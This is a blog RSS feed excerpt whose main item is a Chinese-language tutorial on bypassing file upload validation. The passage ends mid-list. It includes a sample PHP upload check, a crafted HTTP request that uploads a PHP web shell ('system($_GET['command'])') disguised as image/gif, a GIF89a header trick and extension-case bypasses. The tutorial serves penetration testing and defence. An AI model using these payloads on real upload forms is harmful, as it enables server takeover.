码农之家 - 上传
type: channel
link: http://blog.liyx.fun/index.php/tag/上传/
items: 上传图片检验类型并预览
items: 文件上传漏洞（绕过姿势）

上传图片检验类型并预览
type: item
date: 2020-12-21T20:38:00+08:00
description: 上传图片检验类型并预览 请选择图片文件：PNG/JPG/JPEG/BMP/GIF

文件上传漏洞（绕过姿势）
type: item
date: 2019-05-26T01:11:00+08:00
description: 文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞，因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易，其中有很多技巧，也有很多需要掌握的知识。俗话说，知己知彼方能百战不殆，因此想要研究怎么防护漏洞，就要了解怎么去利用。此篇文章主要分三部分：总结一些常见的上传文件校验方式，以及绕过校验的各种姿势，最后对此漏洞提几点防护建议。（根据个人经验总结，欢迎补充纠错~~）文件上传校验姿势客户端javascript校验（一般只校验后缀名） 服务端校验 文件头content-type字段校验（image/gif） 文件内容头校验（GIF89a） 后缀名黑名单校验 后缀名白名单校验 自定义正则校验 WAF设备校验（根据不同的WAF产品而定） 1.客户端校验 一般都是在网页上写一段javascript脚本，校验上传文件的后缀名，有白名单形式也有黑名单形式。 判断方式：在浏览加载文件，但还未点击上传按钮时便弹出对话框，内容如：只允许上传.jpg/.jpeg/.png后缀名的文件，而此时并没有发送数据包。2.服务端校验2.1 content-type字段校验 这里以PHP代码为例，模拟web服务器端的校验代码<?php if($_FILES['userfile']['type'] != "image/gif") #这里对上传的文件类型进行判断，如果不是image/gif类型便返回错误。 { echo "Sorry, we only allow uploading GIF images"; exit; } $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "File uploading failed.\n"; } ?> 可以看到代码对上传文件的文件类型进行了判断，如果不是图片类型，返回错误。2.2 文件头校验 可以通过自己写正则匹配，判断文件头内容是否符合要求，这里举几个常见的文件头对应关系：（1） .JPEG;.JPE;.JPG，”JPGGraphic File”（2） .gif，”GIF 89A”（3） .zip，”Zip Compressed”（4） .doc;.xls;.xlt;.ppt;.apr，”MS Compound Document v1 or Lotus Approach APRfile”文件上传绕过校验姿势客户端绕过（抓包改包） 服务端绕过 文件类型 文件头 文件后缀名 配合文件包含漏洞绕过 配合服务器解析漏洞绕过 CMS、编辑器漏洞绕过 配合操作系统文件命名规则绕过 配合其他规则绕过 WAF绕过 1.客户端绕过 可以利用burp抓包改包，先上传一个gif类型的木马，然后通过burp将其改为asp/php/jsp后缀名即可。2.服务端绕过2.1 文件类型绕过 我们可以通过抓包，将content-type字段改为image/gifPOST /upload.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: localhost User-Agent: libwww-perl/5.803 Content-Type: multipart/form-data; boundary=xYzZY Content-Length: 155 --xYzZY Content-Disposition: form-data; name="userfile"; filename="shell.php" Content-Type: image/gif (原为 Content-Type: text/plain) <?php system($_GET['command']);?> --xYzZY- 2.2 文件头绕过 在木马内容基础上再加了一些文件信息，有点像下面的结构GIF89a<?php phpinfo(); ?>2.3 文件后缀名绕过前提：黑名单校验黑名单检测：一般有个专门的 blacklist 文件，里面会包含常见的危险脚本文件。绕过方法：（1）找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类（2）可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类能被解析的文件扩展名列表：jsp jspx jspfasp asa cer aspxph…